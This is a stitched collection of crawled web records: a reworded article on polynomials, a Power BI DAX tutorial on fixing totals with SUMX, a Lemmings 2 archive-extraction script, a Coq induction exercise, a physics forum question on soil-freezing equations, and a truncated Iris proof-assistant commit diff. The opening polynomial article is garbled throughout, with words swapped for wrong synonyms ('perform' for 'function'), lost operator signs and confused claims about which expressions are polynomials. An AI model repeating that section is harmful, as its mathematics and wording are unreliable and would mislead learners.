root of a polynomial f(x). For instance, as a result of 1 is a options of the issue x4x2+x1=0, it’s a root of one thing just like the polynomial x4x2+x1. Allow us to undergo the overview of all three of the matters to know this just a little extra clearly.\n\n## Polynomial Operate\n\nThe essential, most frequently used, and most important mathematical perform is the polynomial perform. These capabilities are used to characterize algebraic expressions that meet explicit standards. They’re additionally able to performing a variety of duties. Due to their big selection of purposes, it is very important be taught and comprehend polynomial capabilities. Polynomial is fashioned by combining the phrases poly and nomial. As a result of “poly” implies “many” in addition to “nomial” implies “time period,” we might say that polynomials comprise “algebraic expressions containing many parts.” Let’s get began with the definitions and sorts of polynomial capabilities. Polynomial capabilities are equations that embrace variables of differing levels, elements, constructive exponents, in addition to constants, amongst different issues. Listed below are a number of polynomial perform situations:\n\n• f(x) = 3x2– 5\n• g(x) = -7x3+ (1/2) x – 7\n• h(x) = 3x4+ 7x3 – 12x2\n\nPolynomial Operate Varieties: A polynomial’s id is measured because the variety of parts it comprises. Monomials, binomials, in addition to trinomials are certainly the three most prevalent polynomials we expertise.\n\n• Polynomials with just one time period are referred to as monomials.\n• Polynomials with solely two phrases are generally known as binomials.\n• Polynomials with solely three phrases are referred to as trinomials.\n\nPolynomials are certainly classed in response to their levels. Linear polynomial perform, quadratic polynomial perform, cubic polynomial perform, in addition to zero polynomial perform are the 4 hottest types of polynomials used throughout precalculus in addition to algebra.\n\n## Polynomial Expressions\n\nThese phrases “polynomial” in addition to “nomial” are fashioned up of two phrases that indicate “many phrases.” It’s a mathematical image that’s used to indicate expressions. A polynomial expression is an announcement that comprises no less than two integers and one arithmetic operation. Polynomial Expressions: What Are They? A polynomial consists of phrases, every of which has a coefficient, whereas an expression is an announcement together with no less than two numbers or one mathematical operation. Polynomial expressions are expressions that meet the polynomial requirement. Let’s take a look on the following situations to find out in the event that they’re polynomial expressions:\n\n• x2 + 3√x + 1 – No\n• x2 + √3x + 1 – Sure\n\nThis similar expression x2 + 3x + 1 isn’t a polynomial expression inside the two conditions talked about above because the variable does have a fractional exponent, particularly, 1/2, which might be a non-integer worth; nevertheless, the expression x2 + 3 x + 1 is certainly a polynomial expression because the fractional energy 1/2 has been on the fixed, though on this case is 3. Customary Type of Polynomial Expressions: Every time the phrases of a polynomial expression are organized from best to lowest diploma, the usual type is obtained.\n\n## Have you learnt the reply of the beneath query?\n\n1. The variety of polynomials having zeroes as -2 and 5 is\n2. 1\n3. 2\n4. 3\n5. greater than 3\n\n## Polynomial Equation\n\nA polynomial equation can be one with a number of phrases and normally comprises variables equivalent to coefficient in addition to exponent. Polynomials can have a variety of exponents. The largest exponent of a polynomial is termed its diploma. A polynomial’s diploma specifies the utmost root system that actually can exist in a polynomial equation. A polynomial equation is a polynomial expression that has been set to equal zero. As an example, if the best exponent being 3, the polynomial equation may have three roots. If we all know what number of roots there are, we are able to simply write the polynomial equation. Factoring polynomials by way of levels in addition to variables within the polynomial equation permits them to be resolved. Occasion of a Polynomial Equation: 4x2 + 6x + 21=0 whereby 4x2+6x+21 is a polynomial expression printed on the left facet that has been corrected to deliver the polynomial expression equal to 0, leading to a full polynomial equation. Technique for Polynomial Equations Expression: This polynomial equation formulation is normally written as anxn, the place a represents a coefficient, x represents a variable, in addition to n represents an exponent." ]	[ null, "https://cubinforcongress.com/wp-content/uploads/2022/02/What-Is-the-Difference-Between-Polynomial-Function-Polynomial-Expression-and-Polynomial-Equation.jpg", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.93607026,"math_prob":0.9956035,"size":5792,"snap":"2022-27-2022-33","text_gpt3_token_len":1263,"char_repetition_ratio":0.20922598,"word_repetition_ratio":0.021621622,"special_character_ratio":0.2101174,"punctuation_ratio":0.09432146,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9986004,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-19T08:05:17Z\",\"WARC-Record-ID\":\"<urn:uuid:cf5f3562-e122-4ee3-a874-3650b99349dd>\",\"Content-Length\":\"71937\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:69c684ce-7897-4edf-9bf6-7dada6ad5b56>\",\"WARC-Concurrent-To\":\"<urn:uuid:0e9aad2f-6b87-4344-9801-a9c8581c9d28>\",\"WARC-IP-Address\":\"104.21.61.79\",\"WARC-Target-URI\":\"https://cubinforcongress.com/what-is-the-distinction-between-polynomial-operate-polynomial-expression-and-polynomial-equation.html\",\"WARC-Payload-Digest\":\"sha1:USFYRBACVYHL3CIVZ5ZTX3MK7G5NDGTW\",\"WARC-Block-Digest\":\"sha1:5AKDHSEP547C5OT24HG2BAHE5LALQX56\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882573630.12_warc_CC-MAIN-20220819070211-20220819100211-00524.warc.gz\"}"}
https://blog.enterprisedna.co/how-to-use-iterating-functions-to-fix-total-issues-in-power-bi-dax-concepts/	[ "", null, "# How To Use Iterating Functions To Fix Total Issues In Power BI – DAX Concepts\n\nI’m going to show you today how to use iterating functions when you’re trying to fix Total issues in Power BI. You may watch the full video of this tutorial at the bottom of this blog.\n\nWhen I go through the questions posted on the Enterprise DNA support forum for members, I see a lot of people having issues with the Totals they get on their report regardless if they’re using advanced logic or not.\n\nHere, I’ll show you why that happens and how you can get around those issues.\n\n## Computing Min Revenue Totals\n\nLet’s use a simple example on computing Min Revenue Totals.\n\nThe data below shows that I have my Total Revenue as well as the Total Revenue Last Year.", null, "Getting last year’s revenue is simple. I just used the DATEADD function.", null, "The Total Revenue shows data for the year 2018. Then you’ll see that we subtracted one year under the DATEADD function, which gives us the 2017 data.\n\nYou’ll see that we also have another column after Revenue Last Year, which is the Min Revenue Year. Basically, this column should show the lowest numbers out of both 2018 and 2017.", null, "Alternatively, you can also click on the legend and choose a different year. So you can use the revenue for 2016 and 2017, for example.", null, "But for this example, let’s stick to the 2017 and 2018 data.\n\nIf you’ve done some work using Excel, you’ll see that the formula I’m using here is the same.", null, "Once you hit enter, you can go through the numbers and see that as you work your way through the rows, the numbers make sense. That is, until you reach the Total at the very bottom.", null, "You’ll notice that it shows the same Total as the Total Revenue column even if the data throughout the rows are different. This is definitely not the result we’re looking for.\n\nTo understand why this happened, you also have to understand the context. Here, the context only lies on the rows preceding the Total where it chooses the lower amount between the two columns. But at the end, it simply compared the two totals from 2017 and 2018, picked which one was the minimum amount, and took that as the result.", null, "It doesn’t understand that you want the total of all the Minimum Revenue listed throughout that column.\n\n## Using SUMX To Fix The Total\n\nThis is where iterating functions come in. For this example, I’m going to use SUMX.", null, "Using SUMX as the iterating function, I can start working through the table virtually.\n\nI’ll start by using the SUMMARIZE function for the Customers. Then, I’m using the MIN function to get the minimum value for the Total Revenue for 2017 and 2018.", null, "When you use iterating functions, the calculation happening at every single row happens virtually.\n\nAll of these calculations are stored into memory, after which the SUMX function adds all of that stored data to come up with the right total at the bottom of that column.\n\nIn other words, it finally adds more context to make the system understand what kind of result you’re looking for.\n\n## Conclusion\n\nWith this tutorial, hopefully, you were able to see how to fix Total issues you’ve been encountering with Power BI. The key here is understanding how iterating functions like SUMX work. Remember that these functions can be used to virtually work through each row of data, and you can get the right results.\n\nSo, if you get stuck on a Total in Power BI, you can play around with techniques like this. See if you can work in some parameters that follow the same context we applied to retrieve the value that you’re looking for.\n\nAll the best.\n\nSam\n\n*** Related Course Modules ***\nLearning Summit Series\nUnique Analytical Scenarios\nDAX Formula Deep Dives\n\nThis site uses Akismet to reduce spam. Learn how your comment data is processed." ]	[ null, "https://blog.enterprisedna.co/wp-content/uploads/2020/04/How-To-Use-Iterating-Functions-To-Solve-Total-Issues-In-Power-BI-DAX-Concepts-1084x584.png", null, "https://lh6.googleusercontent.com/kfLJmLVYyj6ceH36V9JJ_WycWkZQNlF0dbBxhLQgkcRoaeDr_E_OwIDy6izVDZP36NMxZTWcG1hsiPk5O8PdMkmymfKYfOw0XCPHvyRxWjv32CjD6XSpc4F7WukczAbxnMB85lB-", null, "https://lh6.googleusercontent.com/lg7O5Dx4qUVO5O2qhZR4IQ5zOMPMY-Oe5Cu5eMKZrz7EDtMGlcKR4eSHbQW0MZYc-zFy2_by1HT3leN-Izmffu8lEVraa3LVVzBMNGumgDyT9LFTiFBM_kaUkKGOFSyGxN_34tuL", null, "https://lh6.googleusercontent.com/qGi4fqJq88eR4kU8ksVD87PCdwoxr-oUz8fzkNgj9qHyiGlf4PJ0XWeulZRWkgJ9OepVDpNt_aEVAEBVdvmnI3LZ9MGxrgT8MRTHze6C0Y7MmoPNX6Ccg4_wxi15_KYhxhVqwnLA", null, "https://lh3.googleusercontent.com/F7te6yApJj19pVHv_WpZxOmA009MWFfssZqWEgCtZLRqIlrS2X6PwjfvByaQ7UYneH4esZ6rofiAxNc2xFkHqf51CsdFftruIoqdZ5wYfSRTSmxmlKafaABcwBvNI2pcscfbVm68", null, "https://lh4.googleusercontent.com/_SZ92eMk0i5j4lM1lszbVJNo5gp8MKrrWXNe70TB5dj_IXhRQ386LQeUfm00o8R0RQ2j2Xz-7htfEsRfT81xo6QNbI_M5kCvAXgC8f0AKV3YqIF6Go1KZpr9PKIHmbWcQSHW55G2", null, "https://lh3.googleusercontent.com/2qVXvBaDHJ2dvsjGfv3eQSAkLEY8ItZNrm0NFVeeSj7uqkga6ZGNSpLSEBnH6uF-vK3_dqJeoQ0wyWLFzHOgF7ry_xZXqazuOemH7_4ND-0Rda_w4O1HK6FbfnoYsX1JIdaKR5Lb", null, "https://lh6.googleusercontent.com/ih1ol27srvcCcCujlutblBseOyQPZPfnFtdqj5Ux95wbx63jjKFPwS4tLB8k8fwcXBkNp0USiErXzvNAfGBPJ0U9PUExHK_ahn_r0HIE9kgbZ2bwpRTITD2lvcFBwAWoN4xH5TEt", null, "https://lh6.googleusercontent.com/e1HKDkUTzbA9E_O5vnvbAdmxLTXVnQ1KQOKzKQItqZ_1AaUPYyMlWmOsn4o1UEc9tdBJ0jNtxorq2QVnJ0rLfeNQqNsrpKaePhHBJGylxNUFhCtgyFBqSdCExN56-7WmU3edKuLd", null, "https://lh5.googleusercontent.com/4064Ei6cyT_HSd8DTTpVYPfDq4Q1SuZiUClLJem-pgz-mygqCFrc8JPqeSsqTcnnCz8iWaZQeel2NIFd0ehq2VI5UqImKhr44vuGEmOB0PvwsNfv1bDSKT7OMQ_OCBHJPzPWcHEk", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.88372654,"math_prob":0.6536269,"size":4235,"snap":"2021-31-2021-39","text_gpt3_token_len":920,"char_repetition_ratio":0.13448358,"word_repetition_ratio":0.008130081,"special_character_ratio":0.21865407,"punctuation_ratio":0.08210784,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96401983,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20],"im_url_duplicate_count":[null,2,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-09-19T08:01:20Z\",\"WARC-Record-ID\":\"<urn:uuid:6f8766be-add0-4c40-919b-5d3b5b2abb84>\",\"Content-Length\":\"145001\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ff5e4802-0bda-4a5d-974b-308ab5ddf486>\",\"WARC-Concurrent-To\":\"<urn:uuid:b4564c5f-e99c-4510-9e47-a3267be028a3>\",\"WARC-IP-Address\":\"192.0.78.24\",\"WARC-Target-URI\":\"https://blog.enterprisedna.co/how-to-use-iterating-functions-to-fix-total-issues-in-power-bi-dax-concepts/\",\"WARC-Payload-Digest\":\"sha1:KQ52DRLJQEQYRC4ONAGYFSNFV5YS766T\",\"WARC-Block-Digest\":\"sha1:JP4XCKBSIZ5TF4Q6RR5YKXYXFVBCVPUG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-39/CC-MAIN-2021-39_segments_1631780056752.16_warc_CC-MAIN-20210919065755-20210919095755-00120.warc.gz\"}"}
http://wiki.xentax.com/index.php/Lemmings_2	[ "# Lemmings 2\n\nChoose archive extension:\n\n## VOC\n\n### Format Specifications\n\n```// MexCom - Recreation of formats\\Lemmings 2 (VOC)\\VOC.bms\n// THIS IS AN AUTOMATED SPECIFICATION\n// ----------------------------\n// LEGEND\n// ----------------------------\n// #DECLARE (Set variable to value)\n// \\$\\$ CALCULATE (Calculate a new value)\n// (Section that repeats itself on condition)\n// // (Comment)\n// uint32{4} (Unsigned 32-bit value, 4 bytes)\n// uint16{2} (Unsigned 16-bit value, 2 bytes)\n// ubyte{1} (Unsigned 8-bit value, 1 byte)\n// char{n} (String value, n bytes in length\n// ----------------------------\n\n// Format Specification\n\nuint32{4}\t\tD\n#DECLARE FST = CURRENT OFFSET\nuint32{4}\t\tFS\n#DECLARE FO = 512\n\n// Resources have no name, are located at FO and have a size of FS\n#DECLARE FN = 512\n\\$\\$ CALCULATE FN / 4\n\\$\\$ CALCULATE FN - 1\n\n Start Repeated entry (T) {FN}\n\n==>FST\nuint32{4}\t\tOffset of resource (FO)\n\\$\\$ CALCULATE FO + 512\n#DECLARE FST = CURRENT OFFSET\nuint32{4}\t\tFS\n\n IF FS = 0\n#DECLARE FS = CURRENT OFFSET\n\\$\\$ CALCULATE FS + 1\n\\$\\$ CALCULATE FS - FO\n\n// Resources have no name, are located at FO and have a size of FS\n\n ELSE\n\\$\\$ CALCULATE FS - FO\n\n// Resources have no name, are located at FO and have a size of FS\n END IF\n End Repeated entry (T)\n// ----------------------------\n// MexCom - Recreation complete\n```\n\n### MultiEx BMS\n\n```Get D Long 0 ;\nSavePos FST 0 ;\nGet FS Long 0 ;\nSet FO Long 512 ;\nLog \"\" FO FS 0 0 ;\nSet FN Long 512 ;\nMath FN /= 4 ;\nMath FN -= 1 ;\nFor T = 1 To FN ;\nGoTo FST 0 ;\nGet FO Long 0 ;\nMath FO += 512 ;\nSavePos FST 0 ;\nGet FS Long 0 ;\nIf FS = 0 ;\nGoTo EOF 0 ;\nSavePos FS 0 ;\nMath FS += 1 ;\nMath FS -= FO ;\nLog \"\" FO FS 0 0 ;\nSet T Long FN ;\nElse ;\nMath FS -= FO ;\nLog \"\" FO FS 0 0 ;\nEndIf ;\nNext T ;\n```" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.50360376,"math_prob":0.97786075,"size":1843,"snap":"2020-24-2020-29","text_gpt3_token_len":549,"char_repetition_ratio":0.16530724,"word_repetition_ratio":0.23262031,"special_character_ratio":0.4150841,"punctuation_ratio":0.11111111,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9555613,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-06-04T10:17:12Z\",\"WARC-Record-ID\":\"<urn:uuid:a235a37d-4bdf-4e81-9f9a-9835e928381f>\",\"Content-Length\":\"16315\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:03c44692-cbe8-4550-aa50-303c37e8deb3>\",\"WARC-Concurrent-To\":\"<urn:uuid:7686572c-47cb-4385-95d0-b47f77d7dd45>\",\"WARC-IP-Address\":\"185.104.29.38\",\"WARC-Target-URI\":\"http://wiki.xentax.com/index.php/Lemmings_2\",\"WARC-Payload-Digest\":\"sha1:YLAWU2ODOPKOXJYT4FMGXQSRY5XJQDLY\",\"WARC-Block-Digest\":\"sha1:SNDG3EFYEMG267JU7UI4HFBG3URN36MU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590347439928.61_warc_CC-MAIN-20200604094848-20200604124848-00573.warc.gz\"}"}
https://www.cse.chalmers.se/research/group/logic/TypesSS05/resources/coq/CoqArt/induc-fond/use_le_ind_max.html	[ "# Using maximal induction principles (le)\n\nUse the Scheme command to generate the maximal induction principle for le.\n\nThe following text defines a function with a pre-condition based on le and proves a small theorem about this function.\n\n```Definition pred_partial: forall (n : nat), n <> 0 -> nat.\nintros n; case n.\nintros h; elim h; reflexivity.\nintros p h'; exact p.\nDefined.\n\nTheorem le_2_n_not_zero: forall (n : nat), 2 <= n -> (n <> 0).\nProof.\nintros n Hle; elim Hle; intros; discriminate.\nQed.\n```\n\nProve the following theorem, using the maximal induction principle.\n\n```Theorem le_2_n_pred:\nforall (n : nat) (h : 2 <= n), (pred_partial n (le_2_n_not_zero n h) <> 0).\n```\n\n## Solution\n\nLook at this file\n\nGoing home\nPierre Castťran" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.51973414,"math_prob":0.9360353,"size":617,"snap":"2021-43-2021-49","text_gpt3_token_len":170,"char_repetition_ratio":0.12561175,"word_repetition_ratio":0.0,"special_character_ratio":0.30470017,"punctuation_ratio":0.2421875,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9996942,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-18T04:05:18Z\",\"WARC-Record-ID\":\"<urn:uuid:e092e031-a7e1-4d5d-bb70-efe0adb89fb9>\",\"Content-Length\":\"1251\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3fb96b11-9012-4600-b562-951ea2d43ed2>\",\"WARC-Concurrent-To\":\"<urn:uuid:f0bf3827-6cb6-4c31-a971-46d2344d91fa>\",\"WARC-IP-Address\":\"129.16.221.33\",\"WARC-Target-URI\":\"https://www.cse.chalmers.se/research/group/logic/TypesSS05/resources/coq/CoqArt/induc-fond/use_le_ind_max.html\",\"WARC-Payload-Digest\":\"sha1:DNBHIWUACIHW3FGZJQRU25OEA3BNUKU2\",\"WARC-Block-Digest\":\"sha1:FKLEJF7XTVKWA5A32URP32A4BXV5ARRU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323585196.73_warc_CC-MAIN-20211018031901-20211018061901-00530.warc.gz\"}"}
https://www.physicsoverflow.org/40097/please-mathematical-freezing-process-first-studied-harlan	[ "#", null, "Could you help me please with a mathematical model of the soil freezing process first studied by Harlan?\n\n+ 0 like - 0 dislike\n222 views\n\nHello, dear colleague. Now I'm dealing with issues of modeling heat and mass transfer in frozen and thawed soils. I am solving this problem numerically using the finite volume method. Below I give an equation from Harlan for mass transfer,\n\n∂/∂x(K(∂ψ/∂x)) = (∂θu/∂t) + (ρiw)(∂θi/∂t),\n\nwhere K is the hydraulic conductivity of soil, [m/s]; θi is the volumetric ice fraction, i.e., the volume of the ice in per unit volume of frozen soil - dimensionless quantity; ψ is the soil suction potential, which controls the flow of the soil water [m]; T is the temperature, [K]; x is the position coordinate, [m]; t is the time, [s], θu is the volumetric unfrozen water fraction - dimensionless quantity, ρi - ice density [kg/m3], ρw - water density [kg/m3].\n\nGive me please the most thorough explanation for these four questions:\n\nWhat is the physical meaning of this equation?\nWhat is the physical meaning of its left and right side?\nIn the right side of this equation, why has the second term a factor (ρiw)?\nIn which program can I put this equation to see its physical meaning?\n\nP.S. Do you know quality and intuitive (with detailed explanations) articles, books, theses (in English language) on the subject of modeling of heat and mass transfer processes in frozen and thawed soils by the control (finite) volume method. This subject is very interesting. I am looking for the treatment one, two and three-dimensional problems, as well as software environments where you can realize the solution of these problems by “my” formulas (instead of formulas 'built into' these systems).\n\nPlease add a reference to the context from which you obtained the equation.\n\n@ArnoldNeumaier\n\nArticle:\n\nThe equation you cite is a continuity equation describing mass transport. See Harlan's paper\n\nAnalysis of coupled heat-fluid transport in partially frozen soil\n\nwhere you can find details. There is plenty of software for solving partial differential equations, see, e.g. here, but you need to find out for yourself which package is suitable for your problem.\n\n Please use answers only to (at least partly) answer questions. To comment, discuss, or ask for clarification, leave a comment instead. To mask links under text, please type your text, highlight it, and click the \"link\" button. You can then enter your link URL. Please consult the FAQ for as to how to format your post. This is the answer box; if you want to write a comment instead, please use the 'add comment' button. Live preview (may slow down editor) Preview Your name to display (optional): Email me at this address if my answer is selected or commented on: Privacy: Your email address will only be used for sending these notifications. Anti-spam verification: If you are a human please identify the position of the character covered by the symbol $\\varnothing$ in the following word:$\\varnothing\\hbar$ysicsOverflowThen drag the red bullet below over the corresponding character of our banner. When you drop it there, the bullet changes to green (on slow internet connections after a few seconds). To avoid this verification in future, please log in or register." ]	[ null, "https://www.physicsoverflow.org/qa-plugin/po-printer-friendly/print_on.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.924196,"math_prob":0.83546925,"size":1573,"snap":"2019-43-2019-47","text_gpt3_token_len":388,"char_repetition_ratio":0.1166348,"word_repetition_ratio":0.015444015,"special_character_ratio":0.22759059,"punctuation_ratio":0.12580645,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9692858,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-11-21T01:38:58Z\",\"WARC-Record-ID\":\"<urn:uuid:1b3a42b5-4735-4a7c-a622-adf995b1b552>\",\"Content-Length\":\"111842\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:8d67ccd7-2eb8-4554-aca1-76c1f9fccc10>\",\"WARC-Concurrent-To\":\"<urn:uuid:4a6ab073-5c69-4349-94ad-3b515cb46d0d>\",\"WARC-IP-Address\":\"129.70.43.86\",\"WARC-Target-URI\":\"https://www.physicsoverflow.org/40097/please-mathematical-freezing-process-first-studied-harlan\",\"WARC-Payload-Digest\":\"sha1:C6WKSTJSMXT723YKALNCPM5YQQYAU2QL\",\"WARC-Block-Digest\":\"sha1:5W5VFKMDIYUJ6UK35RW6VLRPZ2NOIUNZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-47/CC-MAIN-2019-47_segments_1573496670643.58_warc_CC-MAIN-20191121000300-20191121024300-00467.warc.gz\"}"}
https://gitlab.mpi-sws.org/gpirlea/iris/-/commit/1e249d7541fee56a8b49804b2e2fa4f0eb3a22d1	[ "### General invariant tactic.\n\nparent 040db00a\n ... ... @@ -90,6 +90,18 @@ Section proofs. + iIntros \"HP\". iApply \"Hclose\". iLeft. iNext. by iApply \"HP'\". - iDestruct (cinv_own_1_l with \"Hγ' Hγ\") as %[]. Qed. Global Instance into_inv_cinv N γ P : IntoInv (cinv N γ P) N. Global Instance elim_inv_cinv p γ E N P P' Q Q' : ElimModal True (\|={E,E∖↑N}=> (▷ P ∗ cinv_own γ p) ∗ (▷ P ={E∖↑N,E}=∗ True))%I P' Q Q' → ElimInv (↑N ⊆ E) N (cinv N γ P) [cinv_own γ p] P' Q Q'. Proof. rewrite /ElimInv/ElimModal. iIntros (Helim ?) \"(#H1&(Hown&_)&H2)\". iApply Helim; auto. iFrame \"H2\". iMod (cinv_open E N γ p P with \"[#] [Hown]\") as \"(HP&Hown&Hclose)\"; auto. by iFrame. Qed. End proofs. Typeclasses Opaque cinv_own cinv.\n From iris.base_logic.lib Require Export fancy_updates. From stdpp Require Export namespaces. From stdpp Require Export namespaces. From iris.base_logic.lib Require Import wsat. From iris.algebra Require Import gmap. From iris.proofmode Require Import tactics coq_tactics intro_patterns. From iris.proofmode Require Import tactics. Set Default Proof Using \"Type\". Import uPred. ... ... @@ -94,6 +94,19 @@ Proof. iApply \"HP'\". iFrame. Qed. Global Instance into_inv_inv N P : IntoInv (inv N P) N. Global Instance elim_inv_inv E N P P' Q Q' : ElimModal True (\|={E,E∖↑N}=> ▷ P ∗ (▷ P ={E∖↑N,E}=∗ True))%I P' Q Q' → ElimInv (↑N ⊆ E) N (inv N P) [] P' Q Q'. Proof. rewrite /ElimInv/ElimModal. iIntros (Helim ?) \"(#H1&_&H2)\". iApply Helim; auto; iFrame. iMod (inv_open _ N with \"[#]\") as \"(HP&Hclose)\"; auto. iFrame. by iModIntro. Qed. Lemma inv_open_timeless E N P `{!Timeless P} : ↑N ⊆ E → inv N P ={E,E∖↑N}=∗ P ∗ (P ={E∖↑N,E}=∗ True). Proof. ... ... @@ -101,29 +114,3 @@ Proof. iIntros \"!> {\\$HP} HP\". iApply \"Hclose\"; auto. Qed. End inv. Tactic Notation \"iInvCore\" constr(N) \"as\" tactic(tac) constr(Hclose) := let Htmp := iFresh in let patback := intro_pat.parse_one Hclose in let pat := constr:(IList [[IIdent Htmp; patback]]) in iMod (inv_open _ N with \"[#]\") as pat; [idtac\|iAssumption \|\| fail \"iInv: invariant\" N \"not found\"\|idtac]; [solve_ndisj \|\| match goal with \|- ?P => fail \"iInv: cannot solve\" P end \|tac Htmp]. Tactic Notation \"iInv\" constr(N) \"as\" constr(pat) constr(Hclose) := iInvCore N as (fun H => iDestructHyp H as pat) Hclose. Tactic Notation \"iInv\" constr(N) \"as\" \"(\" simple_intropattern(x1) \")\" constr(pat) constr(Hclose) := iInvCore N as (fun H => iDestructHyp H as (x1) pat) Hclose. Tactic Notation \"iInv\" constr(N) \"as\" \"(\" simple_intropattern(x1) simple_intropattern(x2) \")\" constr(pat) constr(Hclose) := iInvCore N as (fun H => iDestructHyp H as (x1 x2) pat) Hclose. Tactic Notation \"iInv\" constr(N) \"as\" \"(\" simple_intropattern(x1) simple_intropattern(x2) simple_intropattern(x3) \")\" constr(pat) constr(Hclose) := iInvCore N as (fun H => iDestructHyp H as (x1 x2 x3) pat) Hclose. Tactic Notation \"iInv\" constr(N) \"as\" \"(\" simple_intropattern(x1) simple_intropattern(x2) simple_intropattern(x3) simple_intropattern(x4) \")\" constr(pat) constr(Hclose) := iInvCore N as (fun H => iDestructHyp H as (x1 x2 x3 x4) pat) Hclose.\n ... ... @@ -110,4 +110,17 @@ Section proofs. + iFrame. iApply \"Hclose\". iNext. iLeft. by iFrame. - iDestruct (na_own_disjoint with \"Htoki Htoki2\") as %?. set_solver. Qed. Global Instance into_inv_na p N P : IntoInv (na_inv p N P) N. Global Instance elim_inv_na p F E N P P' Q Q': ElimModal True (\|={E}=> (▷ P ∗ na_own p (F∖↑N)) ∗ (▷ P ∗ na_own p (F∖↑N) ={E}=∗ na_own p F))%I P' Q Q' → ElimInv (↑N ⊆ E ∧ ↑N ⊆ F) N (na_inv p N P) [na_own p F] P' Q Q'. Proof. rewrite /ElimInv/ElimModal. iIntros (Helim (?&?)) \"(#H1&(Hown&_)&H2)\". iApply Helim; auto. iFrame \"H2\". iMod (na_inv_open p E F N P with \"[#] [Hown]\") as \"(HP&Hown&Hclose)\"; auto. by iFrame. Qed. End proofs.\n From iris.bi Require Export bi. From stdpp Require Import namespaces. Set Default Proof Using \"Type\". Import bi. ... ... @@ -467,6 +468,31 @@ Proof. by apply as_valid. Qed. Lemma as_valid_2 (φ : Prop) {PROP : bi} (P : PROP) `{!AsValid φ P} : P → φ. Proof. by apply as_valid. Qed. (* Input: `P`; Outputs: `N`, Extracts the namespace associated with an invariant assertion. Used for `iInv`. ) Class IntoInv {PROP : bi} (P: PROP) (N: namespace). Arguments IntoInv {_} _%I _. Hint Mode IntoInv + ! - : typeclass_instances. ( Input: `Pinv`; - `Pinv`, an invariant assertion - `Ps_aux` is a list of additional assertions needed for opening an invariant; - `Pout` is the assertion obtained by opening the invariant; - `Q` is a goal on which iInv may be invoked; - `Q'` is the transformed goal that must be proved after opening the invariant. There are similarities to the definition of ElimModal, however we want to be general enough to support uses in settings where there is not a clearly associated instance of ElimModal of the right form (e.g. to handle Iris 2.0 usage of iInv). ) Class ElimInv {PROP : bi} (φ: Prop) (N: namespace) (Pinv : PROP) (Ps_aux: list PROP) (Pout Q Q': PROP) := elim_inv : φ → Pinv ∗ [∗] Ps_aux ∗ (Pout -∗ Q') ⊢ Q. Arguments ElimInv {_} _ _ _ _%I _%I _%I _%I : simpl never. Arguments elim_inv {_} _ _ _%I _%I _%I _%I _%I _%I. Hint Mode ElimInv + - - ! - - - - : typeclass_instances. ( We make sure that tactics that perform actions on specific hypotheses or parts of the goal look through the [tc_opaque] connective, which is used to make definitions opaque for type class search. For example, when using `iDestruct`, ... ...\n ... ... @@ -209,6 +209,16 @@ Proof. repeat apply sep_mono=>//; apply affinely_persistently_if_flag_mono; by destruct q1. Qed. Lemma envs_lookup_delete_list_cons Δ Δ' Δ'' rp j js p1 p2 P Ps : envs_lookup_delete rp j Δ = Some (p1, P, Δ') → envs_lookup_delete_list rp js Δ' = Some (p2, Ps, Δ'') → envs_lookup_delete_list rp (j :: js) Δ = Some (p1 && p2, (P :: Ps), Δ''). Proof. rewrite //= => -> //= -> //=. Qed. Lemma envs_lookup_delete_list_nil Δ rp : envs_lookup_delete_list rp [] Δ = Some (true, [], Δ). Proof. done. Qed. Lemma envs_lookup_snoc Δ i p P : envs_lookup i Δ = None → envs_lookup i (envs_snoc Δ p i P) = Some (p, P). Proof. ... ... @@ -1159,6 +1169,20 @@ Proof. rewrite envs_entails_eq => ???? HΔ. rewrite envs_replace_singleton_sound //=. rewrite HΔ affinely_persistently_if_elim. by eapply elim_modal. Qed. (** * Invariants ) Lemma tac_inv_elim Δ1 Δ2 Δ3 js j p φ N P' P Ps Q Q' : envs_lookup_delete_list false js Δ1 = Some (p, P :: Ps, Δ2) → ElimInv φ N P Ps P' Q Q' → φ → envs_app false (Esnoc Enil j P') Δ2 = Some Δ3 → envs_entails Δ3 Q' → envs_entails Δ1 Q. Proof. rewrite 